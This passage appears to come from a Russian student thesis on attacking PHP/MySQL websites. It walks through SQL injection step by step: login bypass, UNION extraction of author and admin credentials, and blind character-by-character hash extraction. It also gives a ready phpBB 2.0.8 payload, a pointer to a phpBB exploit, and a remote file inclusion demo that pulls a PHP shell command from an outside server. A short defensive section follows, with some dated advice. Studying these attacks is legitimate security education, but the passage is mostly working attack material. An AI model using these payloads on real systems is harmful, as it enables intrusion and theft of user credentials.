Как взломщик использует SQL Injection в этом случае? Злоумышленнику требуется, чтобы MySQL вернул PHP-скрипту хотя бы одну запись. Значит, необходимо модифицировать запрос так, чтобы выбирались все записи таблицы независимо от правильности введенных реквизитов. Используем принцип "OR 1". Кроме того, в MySQL, как и в любом языке, существуют комментарии. Комментарии обозначаются либо --комментарий (комментарий в конце строки), либо /*комментарий*/ (комментарий где угодно). Причем если второй тип комментария стоит в конце строки, закрывающий знак '*/' необязателен. Итак, взломщик введет в качестве логина строку anyword' OR 1/*, а в качестве пароля - anyword2. Тогда запрос принимает такой вид: SELECT * FROM admins WHERE login='anyword' OR 1/* AND password=MD5('anyword2'). В результате MySQL вернет

все записи из таблицы admins даже независимо от того, существует админ с логином anyword или нет, и скрипт пропустит хакера в админку. Такая уязвимость была обнаружена, например, в Advanced Guestbook. Она позволяла войти в администраторскую часть не зная пароля и внутри нее читать файлы. Но SQL Injection этого типа обычно не позволяют злоумышленнику получить данные из таблицы.

5.2 Union в MySQL версии 4

Вернемся к скрипту получения заголовков статей. На самом деле он позволяет взломщику получить гораздо больше, чем список всех статей. Дело в том, что в MySQL версии 4 добавлен новый оператор – UNION [3], который используется для объединения результатов работы нескольких команд SELECT в один набор результатов. Например: SELECT article_id, article_title FROM articles UNION SELECT id, title FROM polls. В результате MySQL возвращает N записей, где N - количество записей из результата запроса слева плюс количество записей из результата запроса справа. И все это в том порядке, в каком идут запросы, отделяемые UNION.

Но существуют некоторые ограничения по использованию UNION:

1. число указываемых столбцов во всех запросах должно быть одинаковым: недопутимо, чтобы первый запрос выбирал, например, id, name, title, а второй только article_title;

2. типы указываемых столбцов одного запроса должны соответствовать типам указываемых столбцов остальных запросов: если в одном запросе выбираются столбцы типа INT, TEXT, TEXT, TINYTEXT, то и в остальных запросах должны выбираться столбцы такого же типа и в таком же порядке;

3. UNION не может идти после операторов LIMIT и ORDER.

Как же UNION может помочь атакующему? В нашем скрипте присутствует запрос "SELECT article_id, article_title FROM articles where category_id=$cid". Атакующему, используя SQL injection, никто не мешает вставить еще один SELECT-запрос и выбрать нужные ему данные.

Допустим, цель хакера - получить логины и пароли всех авторов, которые могут добавлять статьи. Есть скрипт чтения списка статей http://serv.com/read.php?cid=1, подверженный SQL injection. Первым делом хакер узнает версию MySQL, с которой работает скрипт. Для этого он сделает следующий запрос: http://serv.com/read.php?cid=1+/*!40000+AND+0*/. Если скрипт вернет пустую страницу, значит, версия MySQL >= 4. Почему именно так? Число 40000 - версия MySQL, записанная без точек. Если версия, которая стоит на сервере, больше или равна этому числу, то заключенный в

/**/ код выполнится как часть запроса. В результате ни одна запись не подойдет под запрос и скрипт не вернет ничего. Зная версию MySQL, хакер сделает вывод о том, сработает запрос с UNION или нет. В случае если MySQL третьей версии, запрос работать не будет. В нашем случае MySQL >= 4 и злоумышленник все-таки воспользуется UNION.

Для начала взломщик составит верный UNION-запрос, то есть подберет действительное количество указываемых столбцов, которое бы совпало с количеством указываемых столбцов левого запроса. Хакер не имеет в распоряжении исходников скрипта (если, конечно, скрипт не публичный) и поэтому не знает, какой именно запрос посылает скрипт к MySQL. Придется подбирать вручную - модифицировать запрос следующим образом: http://serv.com/read.php?cid=1+UNION+SELECT+1. И тут о своем присутствии объявит ошибка, так как количество запрашиваемых столбцов не совпадает. Хакер увеличивает количество столбцов еще на единицу: http://serv.com/read.php?cid=1+UNION+SELECT+1,2 - получает список статей из категории 1, а также в самом конце две цифры: 1 и 2. Следовательно, он верно подобрал запрос.

Посмотрим на модифицированный запрос от PHP к MySQL: SELECT article_id, article_title FROM articles where category_id=1 UNION SELECT 1,2. В ответ MySQL возвращает результат первого SELECT (список статей) и результат второго SELECT - число "1" в первом столбце и "2" во втором столбце (SELECT+1,2). Другими словами, теперь, подставляя вместо '1' и '2' реальные имена столбцов из любой таблицы, можно будет заполучить их значения.

Составив верный SELECT+UNION запрос, хакер постарается подобрать название таблицы с нужными ему данными. Например, таблица с данными пользователей будет, скорее всего, называться users, Users, accounts, members, admins, а таблица с данными о кредитных картах - cc, orders, customers, orderlog и т.д. Для этого злоумышленник сделает следующий запрос: http://serv.com/read.php?cid=1+UNION+SELECT+1,2+FROM+users. И если таблица users существует, то PHP-скрипт выполнится без ошибок и выведет список статей плюс '1 2', иначе - выдаст ошибку. Так можно подбирать имена таблиц до тех пор, пока не будет найдена нужная.

В нашем случае "нужная" таблица – это authors, в которой хранятся данные об авторе: имя автора, его логин и пароль. Теперь задача хакера - подобрать правильные имена столбцов с нужными ему данными, чаще всего с логином и паролем. Имена столбцов он станет подбирать по аналогии с именем таблицы, то есть для логина столбец, скорее всего, будет называться login или username, а для

пароля - password, passw и т.д. Запрос будет выглядеть так: http://serv.com/read.php?cid=1+UNION+SELECT+1,login+from+authors.

Почему хакер не стал вставлять имя столбца вместо единицы? Ему нужна текстовая информация (логин, пароль), а в нашем случае в левом запросе SELECT на первом месте идет article_id, имеющий тип INT. Следовательно, в правом запросе хакер не может ставить на первое место имя столбца с текстовой информацией (правила UNION).

Итак, выполнив запрос http://serv.com/read.php?cid=1+UNION+SELECT+1,login+from+authors, взломщик находит список логинов всех авторов, а подставив поле password - список паролей. И получает желанные логины и пароли авторов, а администратор сервера – подмоченную репутацию. Но это только в нашем примере Фортуна улыбнулась злоумышленнику: он быстро подобрал количество столбцов, а в реальной жизни количество столбцов может достигать 30-40.

Теперь рассмотрим некоторые ситуации, в которых использование UNION затруднено по тем или иным причинам:

Левый запрос возвращает лишь числовое значение. Что-то вроде SELECT code FROM artciles WHERE id = $id. Что будет делать хакер? Средства MySQL позволяют проводить различные действия над строками, к примеру, выделение подстроки, склеивание нескольких строк в одну, перевод из CHAR в INT и т.п. Благодаря этим функциям хакер имеет возможность выудить интересующую его информацию по одному символу. К примеру, требуется достать пароль из таблицы admins, используя приведенный выше запрос. Чтобы получить ASCII-код первого символа пароля, сделаем следующий запрос к скрипту: http://127.0.0.1/read.php?cid=1+union+select+ASCII(SUBSTRING(password,1,1))+from+admins. Функция SUBSTRING(name,$a,$b) в MySQL выделяет $b символов из значения столбца name начиная с символа под номером $a. Функция ASCII($x) возвращает ASCII-код символа $x. Для получения последующих символов следует просто менять второй параметр функции SUBSTRING до тех пор, пока ответом не будет 0. Подобный способ был использован в эксплойте для одной из версий phpBB.

SQL Injection находится в середине SQL-запроса. Например: SELECT code FROM artciles WHERE id = $id AND blah='NO' AND active='Y' LIMIT 10. Для правильной эксплуатации хакер просто откомментирует идущий следом за Injection код, то есть к вставляемому коду добавит /* или --

. Пробелы в запросе взломщик может заменить на /**/, что полезно в случае если скрипт фильтрует пробелы.

Случается и такое, что в PHP-коде подряд идет несколько SQL-запросов, подверженных Injection. И все они используют переменную, в которую злоумышленник вставляет SQL-код. PHP код:

```
$result=mysql_query("SELECT article_id, article_title FROM articles where category_id=$cid");

// php code

$result=mysql_query("SELECT article_name FROM articles where category_id=$cid");

// print result
```

Это довольно неприятно для хакера, так как для первого запроса SQL Injection пройдет нормально, а для второго UNION - уже нет, так как количество запрашиваемых столбцов отличается. И если программист, писавший код, предусмотрел остановку скрипта в случае ошибки типа "... or die("Database error!")", то эксплуатация обычными методами невозможна, так как скрипт остановится раньше, чем будет выведет результат.

Скрипт выводит не весь результат запроса, а, например, только первую запись. И если хакер будет пользоваться UNION, то скрипт выдаст только первую запись из ответа MySQL, а остальное отбросит, в том числе результат SQL Injection. Для того чтобы преодолеть все препятствия и на этом этапе, хакер передаст левому запросу такой параметр для WHERE, чтобы в ответ на него MySQL не вернул ни одной записи.

Например, запрос: SELECT name FROM authors WHERE id=$id. После SQL Injection он будет выглядеть следующим образом: (..) id=1 UNION SELECT password FROM authors. Но PHP-скрипт выведет только первую запись, поэтому вставляемый код следует модифицировать: (..) id=-12345 UNION SELECT (..). Теперь в ответ на левый запрос MySQL не вернет ничего, а в ответ на правый - желанные для хакера данные.

Скрипт не выводит результат запроса. Например, есть скрипт, который выводит какие-либо статистические данные, например, количество авторов, принадлежащих к определенной группе. Причем количество записей он считает не с помощью MySQL-функции COUNT, а в самом скрипте. Скрипт шлет MySQL такой запрос: SELECT id FROM authors where category_id=$cid.

Допустим, скрипт возвращает что-то вроде "Найдено десять авторов в данной категории". В этом случае злоумышленник будет использовать SQL injection, методом перебора символов. Например, хакеру надо получить пароль автора с id = 1, для чего потребуется перебирать каждый символ пароля. Но как получить символ, если PHP не выводит ничего из того, что возвратил MySQL?

Рассмотрим такой запрос: SELECT id FROM authors where category_id=-1 UNION SELECT 1,2 FROM authors WHERE id=1 AND ASCII(SUBSTRING(password,1,1))>109. Результатом запроса будет одна запись, если ASCII-код первого символа пароля больше 109, и ноль записей, если больше, либо равна. Итак, методом бинарного поиска нетрудно найти нужный символ. Почему хакер использует знаки "больше/меньше", а не "равно"? Если взломщику надо получить 32-символьный хэш пароля, ему придется делать примерно 32*25 запросов! Метод бинарного поиска позволяет сократить это число в два раза. Само собой, делать запросы хакер будет уже не руками, а с помощью скрипта, автоматизирующего перебор.

5.3 Атаки в MySQL версии 3

Несмотря на отсутствие в третьей версии оператора UNION, и из нее хакер сможет осуществить НСД к информации. В осуществлении этого замысла помогут подзапросы и перебор символов.

Правила защиты [4]:

Правило №1. Фильтровать входные данные. Кавычку заменять на слеш-кавычку(\'), слеш - на слеш-слеш. В PHP это делается или включением magic_quotes_gpc в php.ini, или функцией addslashes(). В Perl: $id=~s/(['\\])/\\$1/g;. И на всякий случай: $id=~s/[a-zA-z]//g; - для числовых параметров.

Правило №2. Заключать в кавычки все переменные в запросе. Например, SELECT * FROM users WHERE id='$id'.

Правило №3. Отключить вывод сообщений об ошибках. Некоторые программисты, наоборот, делают так, что при ошибке скрипт выводит сообщение самого MySQL, или, еще ужасней, - ВЕСЬ SQL-запрос. Это предоставляет атакующему дополнительную информацию о структуре базы и существенно облегчает эксплуатацию.

Правило №4. Никогда не разрешать скриптам работать с MySQL от root. Ничего хорошего не выйдет, если хакер получит доступ ко всей базе.

Правило №5. Запускать публичные скрипты от отдельного пользователя с отдельной базой.

Правило №6. Отключить MySQL-пользователю привилегию FILE - запретить хакеру записать в файл что-то вроде <?system($_GET[cmd])?> через MySQL.

Правило №7. Не называть таблицы и базы данных в соответствии с их назначением, чтоб утаить от чужих глаз настоящие названия. В скриптах часто предоставляют возможность установить prefix для названия, его следует выбирать наиболее сложным. Если кто-нибудь и найдет SQL injection, то не сможет ее эксплуатировать.

Чаще всего уязвимости в безопасности оставляют в тех запросах, параметры которых передаются через hidden формы в HTML и через cookies, видимо, из-за того, что они не видны пользователю и не так привлекают внимание хакеров.

В 80% WAP-сервисов SQL injection находят по десять штук в каждом скрипте [2]. На самом деле многие недооценивают SQL Injection. Известен случай, когда обычная SQL injection в скрипте ответа на сообщение форума привела к реальному root доступу на трех серверах и дампу базы данных.

5.4 Реализация атаки через скрипт PHPbb

Сначала необходимо определить версию установленного форума [5]. Проще всего это сделать, зайдя в конференцию и посмотрев внизу страницы – там будет строка с копирайтами и номером версии, например: «Powered by phpBB 2.0.8 © 2001-2003 phpBB Group».

После того как удалось узнать номер версии форума, нужно понять, какую уязвимость лучше использовать. Наибольший интерес представляют две версии форума: 2.0.6 и 2.0.8. В каждой из них есть довольно серьезная уязвимость sql-injection, которая позволяет получить доступ к таблице с пользовательской информацией и извлечь оттуда хэш пароля любого пользователя форума.

Что касается более старой версии форума, 2.0.6, то об этой уязвимости известно уже давно, но количество уязвимых ресурсов не спешит сокращаться. Рассмотрим скрипт search.php, осуществляющий поиск по конференциям. Если внимательно посмотреть на код этого сценария, можно заметить, что когда переменная $show_results не установлена в значение posts или topics, становится возможным поместить в $search_results специальную строку, которая изменит выполняемый sql-запрос.

Поскольку об этой уязвимости известно уже давно, появился даже эксплоит, который самостоятельно реализует sql-injection: нужно лишь указать URL форума, имя пользователя, пароль, и идентификатор топика. Скачать эксплоит, написанный на php, можно здесь: http://research.altweb.ru/ /gemuruh-v2.php.txt; для его нормальной работы нужна библиотека cURL.

Чтобы проверить какой-либо из серверов на уязвимость, этот сценарий нужно закачать на сервер и выполнить примерно следующим образом:

```
Exploit.php http://forum.site.ru user 12
```

Где http://forum.site.ru – это адрес форума, user – ник пользователя, чей пароль интересен, а 12 – идентификатор топика, в обсуждении которого участвовал атакуемый. Если форум уязвим, в результате работы эксплойта на экране появится хэш пароля пользователя user и останется лишь расшифровать его. Если же появилась строка «Not vulnerable, register_globals=Off», это означает, что форум неуязвим из-за настроек PHP. Справедливости ради надо отметить, что register_globals=Off – это стандартная настройки интерпретатора.

Версия 2.0.8 содержит не менее опасную ошибку в сценарии просмотра приватных сообщений privmsg.php. Здесь, если передаваемый скрипту параметр folder установлен в значение savebox:

```
$ pm_sql_user .= "AND ( ( pm.privmsgs_to_userid ...";
```

Обратим внимание, к переменной $pm_sql_user из внутреннего адресного пространства программы дописывается фрагмент кусок sql-запроса. По задумке программиста $pm_sql_user – переменная внутренняя и, поскольку ранее она не использовалась, по большому счету нет разницы, дописывать или присваивать ей новое значение. Но вот если случится так, что переменная будет инициализирована раньше, это приведет к непредсказуемым результатам, ведь исходное значение будет добавлено в реализуемый sql-запрос. Если в настройках PHP указан параметр register_globals=On и удаленный пользователь посылает методом GET параметр pm_sql_user, PHP автоматически инициализирует переменную с этим же названием, в результате чего становится возможным модифицировать выполняемый запрос. Чтобы лучше понять, как это работает, можно определить pm_sql_user произвольным значением: pm_sql_user=lala. В результате скрипт выдаст ошибку примерно следующего содержания:

SQL Error : 1064 You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near 'lalaAND ((pm.privmsgs_to_userid = 3 AND pm.privmsgs_type...

Обратим внимание, в какую часть запроса добавилась строка «lala». Несложно догадаться, что для осуществления sql-injection нужно дополнить запрос корректным объединением UNION и закомментировать остальную часть запроса. В результате получается примерно такая строка:

31337%20UNION%20SELECT%20username,null,user_password,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null%20FROM%20phpbb_users%20WHERE%20user_id=1 %20LIMIT%201/*

Если все правильно, на экран будет выведена табличка с логином и паролем администратора. Меняя значение user_id, можно добиться того, что на экране будут выведены пароли всех остальных пользователей.

6 Реализация атак на тестовом web-узле

Для проведения и анализа атак создан тестовый web-узел (http://www.perevozim.ru/)

Сайт разработан на основе PHP и MySQL.

На сайте раработан модульний движок. Код PHP движка, реализующего подключение содержимого центральной части страницы находится по адресу: http://www.perevozim.ru/content.php

Для отображения страницы, подключающий в центральное поле текст из файла order.txt, осуществляется запрос: http://www.perevozim.ru/content.php?page=order.txt

PHP код скрипта content.php, реализующий подключение файла:

```
<?

if($_GET['page']!=""){

$page = $_GET['page'];

include($page);

}

?>
```

Как видно из текста, никакой проверки на существование файла не осуществляется. Следовательно имеется возможность просмотреть содержимое системных файлов, к которым открыт доступ на чтение с правами web сервера.

Составим запрос: http://www.perevozim.ru/content.php?page=../../../../etc/passwd

Сервер вернул ошибку:

Warning: include() [function.include]: open_basedir restriction in effect. File(../../../../etc/passwd) is not within the allowed path(s): (/home/www/s10) in /home/www/s10/public_html/content.php on line 22

Warning: include(../../../../etc/passwd) [function.include]: failed to open stream: Operation not permitted in

/home/www/s10/public_html/content.php on line 22

Warning: include() [function.include]: Failed opening '../../../../etc/passwd' for inclusion (include_path='.:/usr/share/horde-pear') in /home/www/s10/public_html/content.php on line 22

Сервер выдал ошибку, потому что у PHP нет прав на чтение файлов с сервера, которые находятся выше раздела open_basedir, установленого в настройках PHP для этого сайта.

В конфигурационном файле Apache – httpd.conf в директиве VirtualHosts для сайта www.perevozim.ru указано:

php_admin_value open_basedir /home/www/s10

Значит возможно просмотреть содержимое файла .htaccess, находящегося в одной папке со скриптом content.php

Запрос http://www.perevozim.ru/content.php?page=.htaccess даст результат:

DirectoryIndex index.php3 index.php index.html index.htm

ErrorDocument 404 /404.php

Проверим, имеет ли возможность PHP подключать файлы с других серверов. Запрос http://www.perevozim.ru/content.php?page=http://www.ya.ru/ подключил содержимое главной страницы Яндекс в центральное поле сайта.

Создадим файл bad.txt с содержанием:

<? system("id"); ?>

Расместим файл на другом сервере под адресом http://www.altweb.ru/bad.txt

Осуществим запрос: http://www.perevozim.ru/content.php?page=http://www.altweb.ru/bad.txt

Резальтатом которого будет выполнение команды id на сервере:

uid=48(apache) gid=48(apache) groups=48(apache)

Как следствие, хакер получает web-shell с правами apache, что даёт ему возможность осуществлять локальную атаку на сервере для получения доступа с правами root.

На сервере разположен скрипт получения данных о пользователе, аргуметами которого являются e-mail и пароль. Скрипт cl.php:

```
<?

$login = $_GET['login'];

$pass = md5($_GET['pass']);

$sql_r = mysql_query("select * from klient where kemail='$login' and kpass='$pass'");

echo "select * from klient where kpass='$pass' and kemail='$login'";

$sql_d = @mysql_fetch_array($sql_r);

?>
```

Запрос http://www.perevozim.ru/cl.php?login=info@perevozim.ru&pass=pass выберет из таблицы klient строчку с записью клиента.

Выполнится запрос к базе данных:

select * from klient where kpass='1a1dc91c907325c69271ddf0c944bc72' and kemail='info@perevozim.ru'

Если в конфигурационном файле php.ini значение magic_quotes_gpc установлено на OFF, то выполнить атаку SQL-injection на основе объединения двух запросов не удастся.

Проверим возможность осуществления SQL-Injection:

http://www.perevozim.ru/cl.php?login=info@perevozim.ru'%20UNION%20SELECT%20*%20from%20klient%20where%20kemail='nelidov@mail.ru&pass=pass

Результатом этого HTTP запроса будет обращение к базе данных:

select * from klient where kpass='1a1dc91c907325c69271ddf0c944bc72' and kemail='info@perevozim.ru\' UNION SELECT * from klient where kemail=\'nelidov@mail.ru'

Как видно из запроса к базе данных, произошло экранирование кавычек, что свидетельствует о включенном параметре magic_quotes_gpc.

Однако данная атака позволяет получить всю информацию о пользователе, если magic_quotes_gpc выключен.

Заключение

В работе были рассмотрены способы построения Web-сайтов с динамическим содержимым и способы получения НСД к ним.

Основные этапы работы:

1. Изучены основы работы с базами данных на примере MySQL

2. Приведены методики создания Web-узлов с динамическим содержимым на PHP5

3. Показаны основы работы с MySQL через PHP

4. Изучены механизмы реализации атак SQL-injection и PHP-including

5. Создан тестовый Web-узел www.perevozim.ru

6. Показаны реализации атак SQL-injection и PHP-including на тестовом Web-узле

7. Разработана методика получения НСД к информации размещенной на Web-узле через атаки SQL-injection и PHP-including

Результатом успешного выполнения атаки PHP-including обычно является получение web-shell'a с правами web сервера. Что позволяет получать всю информацию с сайта, скрытую от пользователей, и осуществлять локальные атаки для получения полного контроля над сервером.

Были рассмотрены наиболее часто встречающиеся ошибки при разработке PHP скриптов при использовании функций eval, preg_replace, system. Показаны методы реализации атак на модульные движки, скрипты для загрузки файлов и движки на текстовых базах данных. Также приведена реализация атаки PHP-including на тестовом Web-узле, которая позволила получить доступ ко всей защищённой информации на сайте.

Скриптов, через которые возможно осуществить НСД к информации через атаки PHP-including, в Интернет не уменьшается. С каждым днём всё большее число сайтов использует движки с открытым кодом, уязвимости в которых появляются каждый день.

Результатом успешного выполнения атаки SQL-injection как правило является получение информации, скрытой от пользователя. Это может быть пароль администратора или другая конфеденциальная информация. Иногда удаётся получить и полный контроль над сервером.

В работе были рассмотрены наиболее часто встречающиеся атаки SQL-injection на Web узлы. Приведена методика реализации атак на сервере MySQL различных версий через использование функции UNION, комментариев и ошибки по неправильной обработке передаваемых переменных. Рассмотрена реализация атаки SQL-injection на тестовом Web узле. Приведена методика по поиску уязвимостей PHP-including и SQL-injection на web-узлах. Протестировав Web узел на предмет перечисленных уязвимостей, можно значительно повысить его защищённость.

Список литературы

1. “Секреты хакеров Безопасность Web-приложений - готовые решения”, издательство: Вильямс 2003 г.

2. http://www.securitylab.ru/

3. http://www.securityfocus.com/

4. http://www.xakep.ru/

5. http://www.webhack.ru/

6. http://ru.wikipedia.org/

7. http://www.opennet.ru/

8. http://www.sysadmins.ru/

9. http://www.php.net/

10. http://www.mysql.com/